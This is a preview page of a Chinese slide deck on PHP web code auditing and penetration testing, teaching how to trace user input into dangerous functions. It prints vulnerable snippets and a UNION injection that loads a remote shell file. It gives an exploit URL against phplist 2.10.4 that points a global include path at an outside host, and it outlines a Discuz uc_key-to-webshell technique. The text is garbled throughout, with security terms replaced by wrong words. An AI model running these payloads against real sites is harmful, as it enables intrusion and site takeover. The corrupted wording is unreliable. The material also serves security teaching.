WEB代碼審計(jì)與滲透測(cè)試_第1頁(yè)
WEB代碼審計(jì)與滲透測(cè)試_第2頁(yè)
WEB代碼審計(jì)與滲透測(cè)試_第3頁(yè)
WEB代碼審計(jì)與滲透測(cè)試_第4頁(yè)
WEB代碼審計(jì)與滲透測(cè)試_第5頁(yè)
已閱讀5頁(yè),還剩34頁(yè)未讀 繼續(xù)免費(fèi)閱讀

下載本文檔

版權(quán)說(shuō)明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請(qǐng)進(jìn)行舉報(bào)或認(rèn)領(lǐng)

文檔簡(jiǎn)介

WEB代碼審計(jì)與浸透測(cè)試紫柒搜集制造 :188159400 WEB運(yùn)用程序代碼審計(jì)程序的兩大根本:變量與函數(shù)破綻現(xiàn)成的條件:A、可以控制的變量【一切輸入都是有害的】B、變量到達(dá)有利用價(jià)值的函數(shù)[危險(xiǎn)函數(shù)]【一切進(jìn)入函數(shù)的變量是有害的】破綻的利用效果取決于最終函數(shù)的功能變量進(jìn)入什么樣的函數(shù)就導(dǎo)致什么要的效果PHP運(yùn)用程序代碼審計(jì)為什么只是PHP?A、跨平臺(tái)、運(yùn)用廣泛、復(fù)雜B、變量處置靈敏[如變量覆蓋、全局變量等]C、函數(shù)庫(kù)宏大[導(dǎo)致破綻類型多,既有通用的又有特有的]E、代碼審計(jì)的思緒是可以通用的變量

預(yù)定義變量[常規(guī)外部提交的變量]GPC$_ENV/SERVER/SESSION$HTTP_RAW_POST_DATA等register_globals=on[未初始化的變量]PHP?4.20默以為off變量覆蓋[未初始化及覆蓋前定義的變量]如:extract()、遍歷初始化變量、parse_str()等變量的傳送與存儲(chǔ)[中轉(zhuǎn)的變量]存儲(chǔ)于數(shù)據(jù)庫(kù)、文件[如配置、緩存文件等]危險(xiǎn)函數(shù)文件包含包含破綻代碼執(zhí)行執(zhí)行恣意代碼破綻命令執(zhí)行執(zhí)行恣意命令破綻文件系統(tǒng)操作文件(目錄)讀寫等破綻數(shù)據(jù)庫(kù)操作SQL注射破綻數(shù)據(jù)顯示XSS等客服端破綻……什么樣的函數(shù)導(dǎo)致什么樣的破綻!更多的變量處置與危險(xiǎn)函數(shù)<高級(jí)PHP運(yùn)用程序破綻審核技術(shù)>code.google/p/pasc2at/wiki/SimplifiedChinese代碼審計(jì)的本質(zhì)找破綻==找對(duì)應(yīng)變量與函數(shù)變量跟蹤的過(guò)程經(jīng)過(guò)變量找函數(shù)[正向跟蹤變量]$id=$_GET[‘id’]$sid=$id…函數(shù)($sid)經(jīng)過(guò)函數(shù)找變量[逆向跟蹤變量]函數(shù)($sid)$sid=$id…$id=$_GET[‘id’]變量的傳送與二次破綻變量存儲(chǔ)、提取、傳送是一個(gè)復(fù)雜的立體的過(guò)程過(guò)程中經(jīng)過(guò)多個(gè)不一樣的函數(shù)的處置后繼續(xù)傳送,最終到達(dá)破綻函數(shù)傳送的過(guò)程中恣意環(huán)節(jié)可控就能夠?qū)е缕凭`中間函數(shù)處置的過(guò)程誕生新的變量,新的變量到達(dá)新的破綻函數(shù)誕生新的破綻[二次破綻]二次破綻什么是二次破綻?2006年提出的一個(gè)概念主導(dǎo)思想:經(jīng)過(guò)一個(gè)現(xiàn)有破綻,發(fā)明新的破綻使得破綻利用最大化一個(gè)demo<?php//vul.php?file=tt.phpunlink($_GET[‘file’]);?>一個(gè)典型的文件刪除破綻[留意:include與require的區(qū)別]二次破綻又一個(gè)demo一個(gè)注射破綻$sql="selectid,filepath,user,namefromattachmentwherefileid=$_GET[‘id’]〞;

$result=mysql_db_query($dbname,$sql);

$file=mysql_fetch_array($result);然而:include($file[‘filepath’]);一個(gè)貌似不可以直接控制的新變量$file[‘filepath’]進(jìn)入了危險(xiǎn)函數(shù)include()?id=1unionselect1,’80vul/shell.txt’,1,1當(dāng)然我們沒(méi)有那個(gè)注射破綻,只需我們對(duì)數(shù)據(jù)庫(kù)有控制權(quán)限一樣可以經(jīng)過(guò)update、insert控制$file[‘filepath’]。一個(gè)實(shí)例:

phplist-2.10.4[oldver]遠(yuǎn)程包含破綻//phplist-2.10.4\public_html\lists\admin\index.phpif(!ini_get("register_globals")||ini_get("register_globals")=="off"){//經(jīng)典的變量覆蓋破綻方式foreach($_REQUESTas$key=>$val){$$key=$val;}}//覆蓋$_SERVER[“ConfigFile〞],經(jīng)過(guò)is_file()判別后進(jìn)入include()if(isset($_SERVER["ConfigFile"])&&is_file($_SERVER["ConfigFile"])){print'<!--using'.$_SERVER["ConfigFile"].'-->'."\n";include$_SERVER["ConfigFile"];但是is_file()是不支持遠(yuǎn)程文件的,所以到目前代碼只是一個(gè)本地包含破綻\\phplist-2.10.4\public_html\lists\admin\commonlib\pages\importcsv.phpif(!isset($GLOBALS["assign_invalid_default"]))$GLOBALS["assign_invalid_default"]=$GLOBALS['I18N']->get('Invalid').'[number]';register_shutdown_function("my_shutdown");require_once$GLOBALS["coderoot"]."structure.php";單獨(dú)看上面的代碼是沒(méi)有方法提交$GLOBALS變量的!但是我們結(jié)合//phplist-2.10.4\public_html\lists\admin\index.php里的變量覆蓋破綻,我們就可以提交$GLOBALS變量了,那么我們就可以控制$GLOBALS[“coderoot〞]實(shí)現(xiàn)遠(yuǎn)程包含Exp:/admin/index.php?_SERVER[ConfigFile]=./commonlib/pages/importcsv.php&GLOBALS[assign_invalid_default]=1&GLOBALS[coderoot]=xx.xx.xx.xx/實(shí)現(xiàn)了一次完美的又本地包含轉(zhuǎn)為遠(yuǎn)程包含的二次破綻利用過(guò)程又一個(gè)實(shí)例:

Discuz![oldver]遠(yuǎn)程代碼執(zhí)行破綻效果圖:【實(shí)現(xiàn)“給我一個(gè)注射點(diǎn),我給他一個(gè)shell〞的目的】注射得到uc_key中….利用uc-key得到webshell[代碼執(zhí)行]得到webshell的關(guān)鍵在于dz論壇的api借口里:api/uc.php里updateapps()對(duì)配置文件config.inc.php有讀寫操作繼續(xù)跟下updateapps()的調(diào)用:$get[]的處置:整過(guò)只需得到了uc_key就可以經(jīng)過(guò)調(diào)用updateapps()對(duì)config.inc.php寫操作了!另外updateapps()的2個(gè)參數(shù)都沒(méi)有魔術(shù)引號(hào)的處置:$get=_stripslashes($get);$post=xml_unserialize(file_get_contents(‘phpinput’));[數(shù)據(jù)流不受魔術(shù)引號(hào)限制]經(jīng)過(guò)$configfile=preg_replace(“/define\(‘UC_API’,\s*‘.*?’\);/i〞,“define(‘UC_API’,‘$UC_API’);〞,$configfile);閉合define(‘UC_API’,來(lái)注射我們的webshell代碼二次破綻的啟示破綻的類型是可以轉(zhuǎn)換的:最終的目的是攻擊效果最大化!一切進(jìn)入函數(shù)的變量是有害的:變量在傳送過(guò)程恣意個(gè)環(huán)節(jié)可控就能夠?qū)е缕凭`!變量傳送的途徑是多樣的:我們的攻擊思緒多元化!如對(duì)于dz,去尋覓可以找到uc_key的途徑:sql注射、文件讀取[config.inc.php里存有uc_key]、控制mysql的管理權(quán)限[phpmyadmin]等等二次破綻的其他運(yùn)用運(yùn)用級(jí)別的“rootkit〞其他的要素與代碼審計(jì)php版本與代碼審計(jì)[變量與函數(shù)]php.ini默許設(shè)置問(wèn)題php本身函數(shù)的破綻[php短少自動(dòng)晉級(jí)的機(jī)制]系統(tǒng)特性與代碼審計(jì)包括OS:[主要是文件操作]web效力器:[主要文件解析類型]<系統(tǒng)特性與web平安>4/article/63.htm數(shù)據(jù)庫(kù)類型與代碼審計(jì)[數(shù)據(jù)庫(kù)注射與利用]浸透測(cè)試中的代碼審計(jì)代碼審計(jì)的目的[目的決議行為]甲方的代碼審計(jì):目的:防御要求:找到更多的破綻,并且給出平安補(bǔ)丁建議等。并且對(duì)運(yùn)用程序平臺(tái)無(wú)特別要求。乙方的代碼審計(jì):目的:浸透也就是進(jìn)攻要求:找到一個(gè)可用的破綻就可以,但是要求快速、利用效果最大化等。并且要求在浸透測(cè)試目的的平臺(tái)上可以利用。浸透測(cè)試中的代碼審計(jì)代碼審計(jì)前的預(yù)備A.得到代碼a.對(duì)于開源的運(yùn)用程序:得到程序的版本信息,越詳細(xì)越好。*詳細(xì)運(yùn)用程序版本掃描b.對(duì)于不開源的運(yùn)用程序:*經(jīng)過(guò)黑盒掃描得到備用文件*經(jīng)過(guò)黑盒掃描利用sql注射暴代碼[loadfile()]*經(jīng)過(guò)黑盒掃描利用容易文件下載破綻*上一次浸透測(cè)試打包下載的代碼B.得到平臺(tái)信息php版本及php.ini一些根本設(shè)置、OS信息、Web效力信息、數(shù)據(jù)庫(kù)運(yùn)用浸透測(cè)試中的代碼審計(jì)快速代碼審計(jì):A.補(bǔ)丁對(duì)比技術(shù)B.業(yè)務(wù)功能與破綻C.類似性破綻發(fā)掘D.基于白盒的fuzzE.常用變量與函數(shù)F.高級(jí)的代碼審計(jì)A補(bǔ)丁對(duì)比技術(shù)二進(jìn)制補(bǔ)丁對(duì)比技術(shù)曾經(jīng)非常成熟[開場(chǎng)于2004年],也誕生了反二進(jìn)制對(duì)比的技術(shù)。PHP運(yùn)用程序補(bǔ)丁對(duì)比技術(shù)*基于源代碼,對(duì)比起來(lái)更加直觀明了*目前還沒(méi)有對(duì)應(yīng)的反對(duì)比機(jī)制*對(duì)比工具:系統(tǒng)命令:fc、diff等專業(yè)工具:BeyondCompare、UltraCompare等*常見的平安補(bǔ)丁方式:變量初始化:$str=‘’;、$arr=array();等變量過(guò)濾:intval/int()、addslashes()、正那么等*對(duì)比的版本選擇:選取臨近的版本[防止一些非平安補(bǔ)丁的干擾]一個(gè)實(shí)例B業(yè)務(wù)功能與破綻實(shí)現(xiàn)業(yè)務(wù)功能的同時(shí)引入平安風(fēng)險(xiǎn)。如:上傳功能上傳破綻數(shù)據(jù)存儲(chǔ)與查詢sql注射破綻后臺(tái)或者api接口平安認(rèn)證繞過(guò)數(shù)據(jù)庫(kù)備用導(dǎo)出webshell新的功能必定帶來(lái)新的平安隱患。功能越強(qiáng)大闡明破綻幾率越大。我們?cè)趯徲?jì)代碼的同時(shí)應(yīng)該熟習(xí)運(yùn)用程序的業(yè)務(wù)功能。C類似性破綻發(fā)掘天下武學(xué)同出少林[天大代碼一把抄]最經(jīng)典的故事屬于asp:動(dòng)網(wǎng)的上傳破綻每個(gè)程序員都有本人的代碼風(fēng)格習(xí)慣不好的風(fēng)格習(xí)慣,能夠代碼致命的平安破綻,而且習(xí)慣很難改動(dòng)!一樣的功能帶來(lái)同樣的破綻如后臺(tái)的功能和api接口實(shí)現(xiàn)一樣的功能尋覓類似性破綻*經(jīng)過(guò)補(bǔ)丁對(duì)比技術(shù)*經(jīng)過(guò)破綻分析、總結(jié)破綻類型D基于白盒的fuzz由于變量在傳送的過(guò)程里千變?nèi)f化,跟蹤來(lái)很費(fèi)事費(fèi)力,為了快速找到破綻我們可以在白盒的根底上通用一些fuzz的方法,開場(chǎng)找到破綻。一、變量的存儲(chǔ)1、對(duì)于文本文件:如配置文件、緩存文件、文本數(shù)據(jù)庫(kù)文件。如:$headers{"X-Forwarded-For"}

="Test31425926";然后經(jīng)過(guò)Findstr、grep等搜索特征字符Test31425926D:\>Findstr/S

/I/N/d:D:\phproot\bmb2007\bmb\"Test31425926"*.php

D:\phproot\bmb2007\bmb\:

datafile\guest.php:2:<?php//|娓稿|1163859032|Test31425926?ˉ|f|0|Firefox|WindowsXP|t||[當(dāng)然也用于其他get、post的變量、甚至是環(huán)境變量,比如注射用戶名、發(fā)帖的標(biāo)題內(nèi)容設(shè)置為一個(gè)特征字符]2、對(duì)于數(shù)據(jù)庫(kù)存儲(chǔ)查詢可以讓數(shù)據(jù)庫(kù)出錯(cuò)的字符就行比如‘D基于白盒的fuzz二、全局變量主要是對(duì)于設(shè)置了register_globals=on的情況下,在inlculdes的文件里設(shè)定的配置變量沒(méi)有初始化的問(wèn)題:<?php/includes/init.phprequire$root_path.‘/includes/settings.php';?>那么不是一切的文件都這樣的問(wèn)題,我們可以先經(jīng)過(guò)白盒找到這些能夠出現(xiàn)

溫馨提示

  • 1. 本站所有資源如無(wú)特殊說(shuō)明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請(qǐng)下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請(qǐng)聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁(yè)內(nèi)容里面會(huì)有圖紙預(yù)覽,若沒(méi)有圖紙預(yù)覽就沒(méi)有圖紙。
  • 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 人人文庫(kù)網(wǎng)僅提供信息存儲(chǔ)空間,僅對(duì)用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對(duì)用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對(duì)任何下載內(nèi)容負(fù)責(zé)。
  • 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請(qǐng)與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶因使用這些下載資源對(duì)自己和他人造成任何形式的傷害或損失。

評(píng)論

0/150

提交評(píng)論